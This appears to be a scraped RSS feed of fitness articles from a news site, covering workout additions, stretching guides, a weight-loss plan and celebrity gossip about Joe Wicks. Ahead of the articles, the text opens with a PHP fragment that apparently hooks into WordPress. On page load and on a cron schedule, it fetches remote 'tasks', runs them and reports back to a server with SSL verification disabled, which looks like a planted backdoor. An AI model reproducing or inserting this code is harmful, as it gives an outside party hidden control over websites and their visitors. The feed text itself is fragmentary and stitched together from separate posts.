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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); workout – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 02 Jun 2021 14:38:40 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png workout – Brief News https://briefnews.eu 32 32 10 Great Additions to Your Workout Routine https://briefnews.eu/10-great-additions-to-your-workout-routine/ https://briefnews.eu/10-great-additions-to-your-workout-routine/#respond Wed, 02 Jun 2021 14:38:40 +0000 https://briefnews.eu/?p=265722 At some point, your workout routine may get monotonous, and this may demotivate you from exercising to keep yourself fit. Modifying or adding new exercises to your workout routine can help you get better results and avoid monotony.

The following ten additions are usually underrated but are excellent ways to maintain your mental and physical interest in the workout. Why not mix these great additions to your workout routine to spice up things and get the maximum benefits out of your workout?

1. Rowing Machine

This equipment is found at the gym, but it’s often disregarded and underrated. The equipment offers great exercise to your arms and exercises your abs, glutes, heart, and hamstrings. You can add the rowing machine if you’re aiming to spice up your cardio workout routine.

2. Jumps

Jumps are useful exercises for your bone density and muscle strength, particularly if you’re a female workout enthusiast. You can add any jump, including frog jumps, star jumps, or squat jumps, to spice up your workout routine and maximize the benefits you get. You can start by adding 10 to 20 jumps after your workout thrice a week, and this can enhance your bone density. It can also help you fight osteoporosis (the weakening of your bones) later in your life.

3. Calf Raises

Most people, perhaps including you, often forget to train their calves during the normal workout routine. Nevertheless, adding this exercise to your workout routine is crucial, especially when exercising to enhance your running strength.

4. Gliding Discs

Gliding discs can be considered as the secret precious stone of workout equipment. Several exercises can be completed using these tiny mobile discs to work out your legs, abs, and arms. You can add gliding discs to your workout routine to spice up things and help burn plenty of calories.

5. Kettlebell Swings

Kettlebells are often found lying everywhere at the gym, but you probably don’t know how to use them. You can add kettlebell swings when doing your squats to make them more difficult and help burn more calories. You only need to pick one and do kettlebell swings as you do your squats. Also, you may add kettlebell swings when working out abs, lunges, and triceps.

6. Superman Exercise

Superman exercise might not be familiar to you, but it’s a great addition to your workout routine, enhancing posture and overall strength. You can add a superman workout to your crunches. It also helps to strengthen your back, particularly if you spend several hours seated at your working desk.

7. High-Intensity Interval Training (HIIT)

HIIT is a brief exercise that pushes you to your limits with brief bangs of different extreme workouts. Rather than exposing your cardio to monotonous machine exercises, add HIIT to your workout routine. It does not need any equipment, doesn’t require much time, and assists you in burning calories longer during the day.

8. Jumping Rope

You may think that jumping a rope is for children, but it’s a good cardio workout usually disregarded by many. You can add 15 minutes of jumping rope when working out. This helps you spice up your workout routine and works your heart.

9. Burpees

Burpees are not popular among most workout enthusiasts but can be great additions to your workout routine. They are important as they exercise the whole of your body, including your heart. Besides, you can do burpees within a short period and from any place. You can add 20 burpees at the end of your workout routine to maximize the results.

10. Planks

You might be thinking that planks are only used to work out your abs, but that’s not the case. Try adding a plank to your workout routine for several minutes, and you’ll see how your body trembles. The following day you’ll feel all your body is sore, and that’s when you’ll notice precisely how effective planks can be for your body. Luckily, you can apply pain relief spray to ensure you continue with your workout routine.

Whether you want to stay fit or healthier, ensure you maintain the interest to continue exercising by including these activities in your workout routine. Exercising can become monotonous if you do the same thing day in day out. Therefore, apply these workouts to keep the fun while exercising and maximize the results you get.

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Joe Wicks, otherwise known as The Body Coach, could be set to join one of the biggest shows on TV after his lockdown exercise classes have seen his popularity soar worldwide. Will the fitness guru take the plunge and join the cats of ITV’s I’m A Celebrity this year?

His book Lean In 15 catapulted him into the public eye but since the lockdown was enforced on the UK, the 33-year-old has seen his popularity surge not just nationally, but internationally too.

And TV bosses are keen to get him on their prime time shows as the fan-favourite has now been tipped to be entering the jungle for the 2020 series of I’m A Celebrity.

Bookmaker Coral proved his odds at 2-1 to trade his living room fitness routine for a race for survival in the middle of the Australian wilderness.

Coral’s John Hill said: “Joe Wicks would prove very useful to his fellow contestants in the jungle and our betting suggests he could well be a contestant on the next series of I’m A Celeb.”

READ MORE: I’m A Celebrity 2020: HUGE hint dropped by rumoured celeb

The national treasure would certainly be welcomed by fans of the hit ITV show, so it’s all on the man himself.

Not only is it rumoured that ITV want to sign him, The Body Coach has been approached by numerous broadcasters all hoping to secure him for the next big show.

The Sun reports that Strictly Come Dancing would also like Joe to appear on the ballroom floor.

A source told the Sunday People: “He has been scouted for a third consecutive year by both shows but ruled them out because he fears taking part would damage his brand.”

He told hosts Piers Morgan and Susanna Reid at the time that he wanted to reach as many people as possible with his programme.

He said: “I’ve been pulled in every direction because I want to reach as many people. I am not superhuman, I have days where I wake up feeling low and flat but I always use exercise to lift my mood.

“That’s what this workout at 9am is going to do. Doesn’t matter if you’re fit, superset or unfit, you’re going to move your body, get your heart pumping and you’re going to leave feeling more optimistic.

“That’s what we need more than ever. There are parents and families, for the first time ever getting up and exercising.”

And as the online classes were such a huge success, he was offered to move his classes to television but rejected the offer to ensure everyone can join him for his daily 9am lessons.

Speaking to the BBC, he explained: “I have decided I want to stay on YouTube because I want it to have a global reach.

“I don’t want to be exclusive to one place. I have been blown away by the response.”

Yep, that’s certainly someone we’d like to see waltz into Strictly or use all that energy in the jungle.

What do you say, Joe?

I’m A Celebrity is set to return to our screens later this year on ITV.

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]]> https://briefnews.eu/9-airport-gyms-where-you-can-squeeze-in-a-workout-before-your-flight/feed/ 0 The Most Effective Weight Loss Workout Plan to Jumpstart Your New Diet https://briefnews.eu/the-most-effective-weight-loss-workout-plan-to-jumpstart-your-new-diet/ https://briefnews.eu/the-most-effective-weight-loss-workout-plan-to-jumpstart-your-new-diet/#respond Thu, 04 Oct 2018 14:26:17 +0000 http://briefnews.eu/the-most-effective-weight-loss-workout-plan-to-jumpstart-your-new-diet/ Assuming you are on your way to weight loss, and have begun to implement a strategy for losing weight with a new diet, it’s now time to consider an effective weight loss workout plan.

Part of the plan aspect of working out implies that you are implementing some form of consistency in how you work out, and the frequency of workouts. Simply put, if you examine an effective workout regimen, but don’t consistently Implement by way of actually performing the suggested exercises, your weight loss efforts will fall short.

On the contrary, if you implement these strategic exercises in conjunction with a healthy diet, you will start to see significant improvements in your weight loss efforts and overall quality of life. Your energy levels will increase, and your body’s ability to utilize food as energy will be substantially improved.

So not only are we examining weight loss in the preceding article, but we are also examining the Improvement of one’s metabolic adaptation, and improvements in physical performance. I don’t just mean weightlifting performance, I mean day-to-day movement and activities.

Building a Weight Loss Workout Plan

Though everyone’s body is different and responds differently to certain exercises, there are some general rules and approaches you can take to effectively lose weight while on a healthy diet. We are going to cover several different types of exercises you can implement in a modular way; inserted within your own schedule.

As long as you are performing the exercises, the time in which you perform them holds little relevance in the early stages of exercising to lose weight. Once you reach the more advanced stages, after several months of exercising or more, an adjustment to the exercise routine will be required in order to continually produce effective weight loss results.

In this article, however, we are going to be moving forward with the assumption that you are relatively new to exercising, and have started implementing some healthy eating routines to aid in your weight loss efforts.

Why a Workout Plan Is Needed

You can lose weight strictly with improved diet, however the results are significantly slower than if you were to implement an effective exercise routine to support weight loss efforts.

It’s the equivalent of having a boat and a paddle, or a boat with a high powered motor – both will get you to the destination, but one will do it significantly faster.

When you exercise, your body is training itself to metabolize food as energy. If your body is low on energy deposits, AKA food, it will begin to seek out stored fat deposits and burn those as a source of fuel so you can perform various exercises.

The point of this is that your body will start to improve its ability to allocate resources where and when needed. By resources, I simply mean stored energy by way of food.

And in improving its ability, I mean that your body will become a metabolic machine capable of breaking down and processing food much faster than without exercise.

Workout Plan for Losing Weight

Generally speaking, an effective workout plan for weight loss will include a sufficient amount of cardio or more intensive cardio such as high intensity interval training, along with moderate weight lifting.

When there is a balance between cardio and weightlifting, the body is not only developing its ability to circulate and utilize fluids more effectively, but it is also strengthening the musculoskeletal system which is crucial for losing weight.

The following simple exercise movements are highly effective for losing weight fast:

  1. Cardio (running, biking, jogging, skipping, hiking..etc) – great for keeping the heart rate up, and burning calories, all while improving metabolism.
  2. Push Ups – very simple yet effective full body workout that supports posture correction. If you are unable to perform this movement with ease, then do so with knees down to start.
  3. Burpees – One of my least favorite exercises because it’s so exhausting, yet works amazingly well for improving weight loss results.
  4. Hindu Squats – These differ from regular squats however are very similar to the standard body weight squat. In the Hindu squat the focus is breaking at the knees and hips, squatting down, and touching the ground with the back side of your hand (counting as 1 rep).

Regarding frequency, you can choose to see immediate results with frequent exercise, or less immediate with more days off.

Personally, I like to see results fast! So I suggest a minimum split of 4 days on 3 days off, however if you really want results, take that up to 5 days on with 2 days off. Feel free to change your days off within the below schedule.

The Split Throughout the Week

Monday (Upper Body Push/Pull)

  • 10min Warmup Cardio
  • 50 Pushups as 5 sets of 10, or 10 sets of 5 (maximum 2 minutes rest between each set)
  • 50 Pullups as 5 sets of 10, or 10 sets of 5
  • 10min Cool-down Cardio

Tuesday (Lower Body Legs)

  • 15min Warmup Cardio
  • 50 Hindu Squats as 5 sets of 10, or 10 sets of 5 (maximum 2 minutes rest between each set)
  • 50 Lunges as 5 sets of 10, or 10 sets of 5
  • 10min Cool-down Cardio

Wednesday (Rest)

Don’t forget your rest day to rest your muscles.

Thursday (Full Body Movement)

  • 5min Warmup Cardio
  • 100 Burpees as 10 sets of 10, or 20 sets of 5 (maximum 2 minutes rest between each set)
  • 5min Cool-down Cardio

Friday (Cardio Day)

  • 10min Moderate Pace Warmup Cardio
  • 20min HIIT (High Intensity Interval Training) with Sprinting or Cycling or Rowing for 2minutes HARD/FAST then 2minute moderate/slow pace, then 2min HARD – the objective is to increase heart rate in a controlled manor
  • 10min Cool-down Cardio (walking pace or very slow jog)

Saturday (Lower Body Legs)

  • 15min Warmup Cardio
  • 100 Body Weight Squats as 10 sets of 10, or 20 sets of 5 (maximum 2 minutes rest between each set)
  • 5min Cool-down Cardio

Sunday (Rest)

Another rest day before moving on to the exercises in the upcoming week.

How It Works

The mechanics of how this work is quite simple. We are turning your body into an efficient fat burning machine!

The focus of the aforementioned workout plan is to improve your cardiovascular health and movement patterns. We don’t need to focus on developing thick dense muscles, but we do need to perform some muscle assisted movements such as push-ups and pull-ups.

While developing muscle, you will be able to burn fat significantly faster because muscle tissue burns more calories — even when you’re at rest — than body fat.

Approximately 10 pounds of muscle would burn 50 calories in a day spent at rest, while 10 pounds of fat would burn 20 calories. So we want to develop some muscle to allow it to burn your body’s fat even during rest days!

Final Thoughts

The suggested exercises are super simple and easy to follow for a reason – you don’t need complex equipment! All you need is your own ambition and will power to see significant improvements in your life.

Before even starting down the road to weight loss, I want you to first stand in front of a mirror for 10minutes and visualize yourself thinner, stronger, faster…

See your true form, and recognize its only time which separates it from your current state of being. When I initially lost 40lbs in 3 months, it’s because I stood in front of the mirror before and after every workout, and held the intention to align to that version of me which has no patience for failure, weakness, or excess body fat and unhealthy living.

Take pictures to log your progress because it will allow you to reflect back and see how far you’ve come. Share your progress with your friends and family to not only motivate them, but to re-enforce your own efforts.

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]]> https://briefnews.eu/plantronics-backbeat-fit-2100-review-our-favorite-workout-headphones/feed/ 0 15 Static Stretching Exercises to Totally Enhance Your Workout Routine https://briefnews.eu/15-static-stretching-exercises-to-totally-enhance-your-workout-routine/ https://briefnews.eu/15-static-stretching-exercises-to-totally-enhance-your-workout-routine/#respond Thu, 20 Sep 2018 16:27:38 +0000 http://briefnews.eu/15-static-stretching-exercises-to-totally-enhance-your-workout-routine/ Stretching is one of those aspects of fitness that many people conveniently forget about. Perhaps you’re one of those who consider stretching nothing but a mere chore meant for ballerinas and gymnasts.

Well… you’re wrong!

Everyone needs stretching! Irrespective of your reasons for working out, be it for sports or personal fitness, one thing is certain – stretching can help you. Stretching – static or dynamic – comes with myriads of benefits – such as improvement in flexibility and reduction in muscle tightness – which ultimately allow you to go through your workout routines with greater efficiency.

For the purpose of this article, though, we’ll zero in on static stretching and take a look at its benefits and when it should be done. Finally I’ll cap it up by revealing 15 great static stretching exercises that’ll help keep your whole body in tip-top condition. So sit back, relax and enjoy!

Benefits of static stretching

Static stretching comes with tons of benefits that can help you to make the most of your workout routine. Some of them include:

1. Improved flexibility

Alright! Here’s the deal – if you want to perform better, flexibility is of tremendous importance, irrespective of the specific workouts you do. And luckily enough, static stretching is all you need to get all the flexibility you desire.

Flexibility, also known as the range of motion (ROM) around a joint, has been shown by several studies to be improved by static stretching.((Braz J Med Biol Res.: Effect of frequency of static stretching on flexibility, hamstring tightness and electromyographic activity.)) And although the specific mechanism through which this occurs is still unclear, static stretching has been shown to greatly increase joint flexibility((Phys Ther: Low-load prolonged stretch vs. high-load brief stretch in treating knee contractures.)) and tissue length,((J Rehabil Med.: Effect of stretching on hamstring muscle compliance.)) which work in tandem to make your workout more effective.

2. Decreased risk of injury

If you’re looking to push yourself to your training limits without coming down with injuries, then stretching will do you a great service. Research has shown time and time again, that performing the right stretch exercises pre- and post-workout greatly helps with injury prevention.((TrainingPeaks: The Benefits of Static Stretching Before and After Exercise))

So, how does it work? Well, think of it this way:

When you stretch you literally push your joints and muscle fibers to their limit. This increases the stretch tolerance in these muscles and joints over time and the increased tolerance allows you to perform more rigorous exercises without negatively impacting your body or risking an injury.

3. Increased blood flow and nutrient supply to the joints

Another benefit of stretching is increased blood flow – and by extension, nutrient supply – to the joints and muscles of the target areas. This, in turn, improves the performance of these muscles and joints due to the availability of more nutrients, improved oxygenation and removal of metabolites.

For static stretching though, the mechanism of action isn’t as straightforward. When stretching statically, blood flow (capillary oxygenation) temporarily reduces due to vascular compression.

However, immediately after releasing the stretch, the blood flow to these areas nearly doubles the pre-stretching levels.((J Sport Rehabil: Effect of foam rolling and static stretching on passive hip-flexion range of motion.)) Thus, blood flow increases.

4. Improvement in recovery

If you’ve been working out for some time, then you’ve probably discovered that a rigorous workout session can leave you battling with sore muscles… for days!

Recovery essentially means getting rid of this soreness and returning your muscle fibres back to their tip-top condition.

So, how does stretching come in? See…that’s the thing, research has shown that practicing static stretching after your workout session helps to reduce muscle soreness. And while some may argue that this effect is minimal, the fact still remains that stretching does help shorten your recovery time.

Stretching allows tissues to be better hydrated after the induced tension is released and this encourages the inflammation and faster repair of such tissues.

Other reasons why you really should incorporate stretching into your workout include:

  • Improved relaxation
  • Increased movement efficiency
  • Reduction in the risk of lower back pain
  • Reduction in muscular tension
  • Improvement in neuromuscular coordination
  • Improvement in balance and postural awareness
  • Provision of relief from cramping

Alrighty! Now that it’s crystal clear that stretching does your body a world of good, let’s dive right into the actual stretching exercises.

15 Great static stretching exercises you should start doing

Here are some amazing exercises that will keep your body in tip-top condition and take your workout routine to the next level.

1. Neck stretch

While sitting tall or standing, place your right arm gently on the right side of your head and place the other arm straightly on your side.

  • Slowly pull your head towards your right shoulder until you can feel the stretch on the left side of your neck.
  • Hold for about 30 seconds before releasing.
  • Repeat for the opposite side.

2. Chest Stretch

Stand right, with your fingers interlocked behind your back, near your buttocks.

  • While keeping your shoulder blades together and your back straight, push your arms up behind you, until you feel the stretch in your chest.
  • Hold for about 20-30 seconds before releasing.

3. Cross-body shoulder stretch

Stand right or sit tall

  • Extend one arm to your front to shoulder height.
  • Grab the extended arm with your other arm and pull it towards your chest while keeping the extended arm straight.
  • Continue the pull until you feel the stretch in your shoulder.
  • Hold for 30 seconds and repeat for the other arm.

4. Triceps stretch

  • Lift your arms overhead with both arms slightly behind your head and bent at the elbow.
  • Use your right hand to pull your left elbow until you feel a stretch in your triceps.
  • Hold for about 30 seconds and repeat for the other arm.

5. Biceps stretch

  • Sit on the floor with your knees bent and feet flat on the floor.
  • With your fingers pointing away from your body, place your two palms flat on the floor behind you.
  • While your hands are steadily in place, slowly slide your butt downward toward your feet until you can feel the stretch in your biceps, shoulders and chest.
  • Hold for about 30 seconds before release.

6. Wrist stretch

  • While Standing straight or sitting tall, extend your right arm forward to shoulder height with your fingers pointing towards the ceiling.
  • Grab your right fingers with your left hand and pull your right hand to bend the wrist until you can feel the stretch
  • Hold this position for about 30 seconds and repeat for the opposite arm.

7. Side stretch

  • Stand straight with your feet hip-wide apart.
  • Take your right arm and reach over your head towards your left side while bending your side.
  • Keep bending your side slowly until you can feel a stretch on your right side.
  • Maintain this position for about 30 seconds and repeat for the opposite side.

8. Abdominal stretch

  • Lie down on your stomach with your face towards the ground and your palms facing the floor as though you’re about to do a push up.
  • While keeping your pelvis firmly on the floor, gently push up your upper body from the ground. This should make your feel some stretch in your abs.
  • Maintain this position for about 30 seconds before releasing.

9. Reclined spinal twist

  • Lie down facing the ceiling, with your arms extended to the sides and placed on the floor.
  • While keeping the right leg extended, pull up your left knee towards your chest, tilt it toward your right side and then drop it slowly over your extended right leg.
  • Keep your shoulder blades flat on the ground and you should feel the stretch around your back
  • Hold for about 30 seconds and repeat for the opposite side.

10. Low-back stretch

  • Lie on the ground facing the ceiling, with your knees bent.
  • Hold your shins and pull up your knees toward your chest.
  • This should make you feel some stretch in your lower back.
  • Hold for about 30 seconds before releasing.

11. Hip flexor stretch

  • Stand right in a standard lunge position.
  • Place your two hands on your hips.
  • Step out on your right foot into mini-lunge position, without your knee going beyond your right toe.
  • Hold for about 30 seconds and repeat for the left side.

12. Glutes stretch

  • Sit tall on the ground with both knees bent and both feet on the floor.
  • Lift your right leg and cross it over your left thigh, while your left knee remains bent.
  • Pull both legs inwards toward your abdomen for a deep stretch of your glutes.
  • Hold this position for about 30 seconds and repeat with the other leg.

13. Quadriceps stretch

  • Stand tall while maintaining a straight posture.
  • With your left hand, grab a pole, wall or anything durable for balance.
  • With your right hand, grab your right foot and pull up your heels until they touch your buttocks.
  • Keep your knees close together while doing this and you should feel the stretch in your quadriceps.
  • Hold this position for about 30 seconds and repeat for the other side.

14. Hamstring stretch

  • Sit on the floor with your right leg extended straight in front of you and your left leg bent.
  • Reach forward with your right hand and touch your right toes. This should cause a stretch in your right hamstring.
  • Hold this position for about 30 seconds and repeat for the left leg.
  • If you’re unable to reach your toes, try holding your shin instead but seek to go further every time you perform the stretch until you can touch your toes.

15. Calf stretch

  • Sit on the ground and extend your right foot straight in front of you.
  • Gently pull your right toes backwards with your right hand. This should cause a noticeable stretch in your calf.
  • Hold this position for about 30 seconds and repeat for the left leg.
  • If you’re unable to reach your toes, use a rope or towel to pull your toes inward.

When should you be doing static stretches?

Static stretching is great…when done correctly and at the right time. Over the years, research has shown that static stretching produces best results when done after working out or on rest days,((Scandinavian Journal of Medicine & Science in Sports: Does pre-exercise static stretching inhibit maximal muscular)) but not as a part of warm up exercises before an explosive workout session.

This is because static stretching exercises have a “cool-down” effect on the muscles and are more effective when done after the muscles are already warm.

So, does that mean you must never ever perform static stretches before working out? Certainly not! You can, but it should be kept to the barest minimum.

Dynamic stretches – that involve more movement – are generally recommended for warming up as it helps the body to prepare better for the work ahead.

The bottom line

Carving out the body of your dreams isn’t only about lifting weights and running, you need to keep your body “elastic” if you’re going to make the most of your training. And that’s the whole point of stretching exercises.

So, starting today, be sure to incorporate these static stretching exercises into your routine and in no time, you’ll find yourself recovering faster and performing better than ever before.

Just remember to keep these stretches a part of your post-workout dessert for maximum benefit.

You’ve got this!

]]> https://briefnews.eu/15-static-stretching-exercises-to-totally-enhance-your-workout-routine/feed/ 0 15 Important Benefits of Stretching Before, After, and During a Workout https://briefnews.eu/15-important-benefits-of-stretching-before-after-and-during-a-workout/ https://briefnews.eu/15-important-benefits-of-stretching-before-after-and-during-a-workout/#respond Fri, 24 Aug 2018 17:58:26 +0000 http://briefnews.eu/15-important-benefits-of-stretching-before-after-and-during-a-workout/ Many people don’t really understand the benefits of stretching. For the most part, they stretch either once when they have completed their exercise routine, or stretching may occur just before getting started with an exercise. If you’ve ever wondered what the optimal time to stretch is —before, during, or after a workout—you’re not alone. It can be confusing to know when is best.In this article, I’ll outline the benefits of stretching, and how and when you should go about incorporating stretching into your routine.Before we tackle the benefits of stretching, let’s first learn about the basics.

Types of Stretching

Stretching is a way to keep your body open and access a range of motion that is more free and fluid. It’s an important aspect of exercise, giving the body space and flexibility to safely complete movements, while also help decrease the risk of injury and sore musclesThere are a few different types of stretching. Some stretching styles will be more beneficial at specific points of exercise.

Static

Done during and after workouts, this is a longer held stretch where the body stays still in the stretching pose.

Dynamic

This type of stretching is done before and during workouts. It requires you to move through stretches repeatedly in a fluid motion.

Passive

This type of stretching is done after working out and requires assistance from bodyweight, equipment, or other props, so that your body relaxes and the gravity/equipment does the work.

Active

This type of stretching is done before, during and after a workout and involves contracting the opposing muscle to the area you are relaxing into the stretch.

How to Stretch Safely

Be sure that you are not completely cold before you stretch. If it’s a pre-workout stretch, then shake your body out a bit to get some warmth generating through your limbs before you stretch them.Hold each stretch (if it is static) for at least 30 seconds. Give your body time to accept the length. This is much safer for your tissues.Stay at your edge. If you push too hard and feel pain, you’re doing the body damage rather than good. Back off to about 80%.

Benefits of Stretching

Now that you understand the basics, let’s go through the benefits of stretching, giving you a holistic view of when to implement stretching into your exercise regime.

Stretching Before Exercise

Starting off your workout with opening up your body is great for being able to access more range of motion in your athletic performance. Here are several reasons to stretch before exercise.1. Prevent InjuryWhen you elongate your muscles through stretching, you reduce the risk of ripping and tearing muscle fibers and tissues. This can happen as a result of pushing the body too soon. If you go straight into exercise without having warmed up or moved at all, the areas that are still tense and/or stuck are the most susceptible to injury.2. Get Fresh Oxygen FlowLack of oxygen flow can hinder your performance, as well as lead to serious injury within your joints. Pains, aches and tension can be felt when you begin to exercise if these areas haven’t been supplied with the oxygenated blood. Stretching encourages flow of fresh oxygen through your bloodstream to the rest of the body, not only relieving pain and reducing injury, but aiding in your movement performance. ((NCBI: Influence of Passive Stretch on Muscle Blood Flow))3. Reduce FatigueYou’ll feel more able to withstand longer exercise sessions when you stretch before a workout, as you’ll be less likely to experience fatigue in your muscles. Stretching awakens the areas that need a more time and encouragement to wake up, so that they can efficiently take you through longer workouts.4. Increases Energy and MotivationBlood accumulates in muscles that haven’t been used or lengthened. As mentioned above, in revitalizing the circulation to the muscles, you’ll feel a surge in energy levels. The blood also flows through to the brain (especially if you are stretching through your back and spine) so that you have increased concentration levels, giving inspiration to actually begin a workout.5. Improve PerformanceThis one ties in all of the above benefits of stretching before a workout. You’ll have fresh oxygen for your body, reduce risk of injury, and boost your energy while reducing fatigue; this will overall improve your performance of whatever exercise you are doing, whether it’s cardio or strength.

Stretching During Exercise

Thanks to advances in functional understanding of how the body moves, fitness experts are proposing that you should be taking stretch-breaks during your exercise session. Modern fitness trainers will tell you this, as the benefits of stretching are being taught more widespread now in any good personal training course .Basically, when you work one portion of the body to burn out, you take some moments to stretch this area, and then move on to another set, or onto another area of the body.6. Increase CoordinationThis is particularly beneficial for those who are strength training. Stretching when the muscle is tired or at burnout is a way to re-establish the pathways of your mind to muscle, so you feel more coordinated, and can freshen up your technique to keep your movements safe for the rest of the workout.7. Get an Energy BoostJust as you deliver fresh oxygen((Daily Burn: Should You Stretch Mid-Workout for Better Results?)) and wake up your body before your workout, it’s valuable to do this mid-workout as well. You’ll stay energised, and then re-energize when you need it to get through the hard moments.8. Better Body AwarenessThis not only prevents injury, but also helps you gauge your energy and fatigue levels to assess whether you need to ramp up your routine, or to give your body a rest if performance is lagging . Taking a moment to stretch gives you time to feel into your body, notice your heart rate, where you feel fatigue or tension, and allows you to then continue in a smart way. It’s a ‘stop, stretch, assess’ situation.9. Reduce Lactic Acid Build UpEspecially when your exercise is intense strength training or high intensity interval training sessions, lactic acid will most definitely be felt in the body. Stretching helps to eliminate it from the system. Fatigue and pain may come in due to lactic acid build up, which can hinder your performance the rest of the workout. Stretching relaxes the muscles and help to dissolve accumulated lactic acid.10. Deepen Body MovementBy elongating the muscles and reducing tight areas in the connective tissue through stretching, your body will have more movement freedom. If you’re doing repetitive or strength training exercises, this constricts the muscles as you work, so when you switch to a new exercise, it’s best to recreate length to perform the movements. For example, if you’re doing lunges, then take a quad and hamstring stretch before moving on to a squat. That way, your squat will be deeper with better form.

Stretching After Exercise

Sure, it would be nice if we could just lay down and be done with the workout when we’ve finished, but research shows that those who don’t take time to stretch post-workout will pay for it later, with sore and stiff muscles and more risk for injury.((Diversified Integrated Clinic: Benefits of Stretching after Workouts))11. Immediate Muscle RepairThe improved circulation of blood that occurs through stretching allows the muscles to relax and receive this oxygen to repair straight away.As the heart rate lowers after exercise, you give your body time to actually receive blood flow, which begins the recovery process much faster than if you just stopped without stretching.12. Create More FlexibilityHaving a more flexible body not only allows you to get into some interesting yoga shapes, but also reduces muscle tension. After a few weeks of regular post-workout stretching, you’ll already notice a difference in your flexibility.Holding more deep, static stretches the end of your workout will give you access to more length in many areas of your body—more than what you would have reached pre or mid-exercise.13. Protect Your JointsYour joints are surrounded by connective tissue and have muscles attachments. When you practice moving through your range of motion around your joints (think knees, hips, and shoulders), then you’re reducing tension and stuck-ness around those areas. This reduces pressure on joints and allows them to move more freely. Post-workout stretching gives those joints some love while your body is still warm. ((Harvard.Edu: How Stretching Keep Your Joints Moving))14. Reduce Risk of CrampingWhen you eliminate lactic acid build up through stretching, you are also relaxing the muscles and letting energy, body fluids and blood to flow through without getting ‘stuck’ anywhere, which often causes cramping.Dehydration can also be a factor in post-workout cramping, so we suggest sipping on some water while you stretch.15. Cool Down Your BodyImproved circulation means a lower heart rate, gradually getting back to a resting rate. You bring your body back to balance at a slow pace with stretching, which offers your body and mind a sense of patience, mindfulness and relaxation after your workout.Now you have every reason to stretch at the beginning, in the middle and right at the end of your workouts—so go ahead and get stretching. Your body will thank you!

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1. 7 Minute Workout Routine

The first workout routine for beginners we’re going to preview was published in the American College of Sports Medecine’s Health and Fitness Journal.((American College of Sports Medecine’s Health and Fitness Journal: High-intensity circuit training using body weight: Maximum results with minimal investment)) The now famous 7 minute workout was found to have phenomenal health benefits for both endurance and weight loss.The 7 minute workout uses high intensity interval training, in a sequence of 12 exercises that last for 30 seconds each, with 10 seconds of rest in between each exercise. As you get stronger, you can repeat the cycle 2-3 times.That said, beginners can start doing the routine only once, and you’ll still get lots of benefits.The routine itself uses the following exercises:

  1. Jumping jacks
  2. Wall sit
  3. Push-up
  4. Abdominal crunches
  5. Step-up onto chair
  6. Body weight squat
  7. Tricep dip on chair
  8. Plank
  9. High knees running in place
  10. Lunge
  11. Push-up and rotate
  12. Side plank

*Repeat 2-3 times.The routine works all of your major muscle groups and will get your heart rate soaring. What we love about the 7 minute workout, is that it’s quick and you can do it anywhere – your home, office or hotel room. No weights, mats or special clothing required.You can download a 7 minute workout app developed by the New York Times, or watch and follow through this video created by Lifehack:https://www.youtube.com/watch?v=ECxYJcnvyMw

2. Beginner Body Weight Routine (NerdFitness)

With one of the most popular workout websites out there, NerdFitness has developed a great body weight exercise routine that doesn’t require any equipment or weights and can be done just about anywhere.We like this routine because it’s simple and effective. Do each exercise, and move onto the next without a break. After completing the round, rest for 30 seconds and repeat.Do about 5 minutes of stretching to warm yourself up before starting the routine.

  • 20 body weight squats
  • 10 push ups
  • 20 walking lunges
  • 10 dumbbell rows (using a gallon milk jug)
  • 15 second plank
  • 30 jumping Jacks

*Repeat for 3 roundsDo some stretches after you’ve finished your workout.

3. Starting Strength Beginner Barbell Routine

Starting Strength is one of the most popular, widely recommended and effective barbell routines out there. Around for almost 30 years, it’s simple to follow and only uses a barbell. Nothing else.There are 2 workouts, which you do on alternate days. You only workout 3 days a week, and never 2 days in a row. Here’s the routine:Starting Strength Workout 1

  • 3 Sets of 5 Reps – Squat
  • 3 Sets of 5 Reps – Bench Press
  • 1 Set of 5 Reps – Deadlift

Starting Strength Workout 2

Weekly Schedule:

  • Day 1: Workout 1
  • Day 2: Workout 2
  • Day 3: Workout 1

As you get stronger, continuously add weight so you max out at 5 repetitions.

4. Recommended Body Weight Routine (Reddit)

Based off of the principles from Overcoming Gravity, this bodyweight workout routine was developed in 2012 and has become something of an online phenomenon.This routine will provide strength, muscle gain and fat loss, all provided your diet is in proper order.There are only 9 exercises, which you do 3 times a week. Each exercise progresses, so that if you can’t do one now, there is a simpler form of the exercise you can start with.For example, if you can’t do a push-up, you can start to wall pushes, or push-ups from your knees, until you’re ready to progress to the more challenging form.You perform the hardest exercise in the progression you can, for 3 sets of 5-8 reps. Once you achieve that benchmark, you move on to the next progression of the exercise in your next workout. Rest 90 seconds between each set.First Pair

Second Pair

Third Pair

Core Triplet

5. Simplefit Beginner Routine

Simplefit is another popular body weight exercise routine. It’s simple, only requires you workout 3 days a week and only involves 3 exercises per day.Day 1:

  • Max rounds in 20 min (as many rounds as possible in 20 minutes)
  • 1 pull-ups
  • 2 push-ups
  • 3 squats

Day 2:

  • 5 rounds for time (see how quickly you can complete each round, resting 3 minutes between rounds)
  • 2 pull-ups
  • 6 push-ups
  • 10 squats

Day 3:

  • For time (one round as quickly as you can)
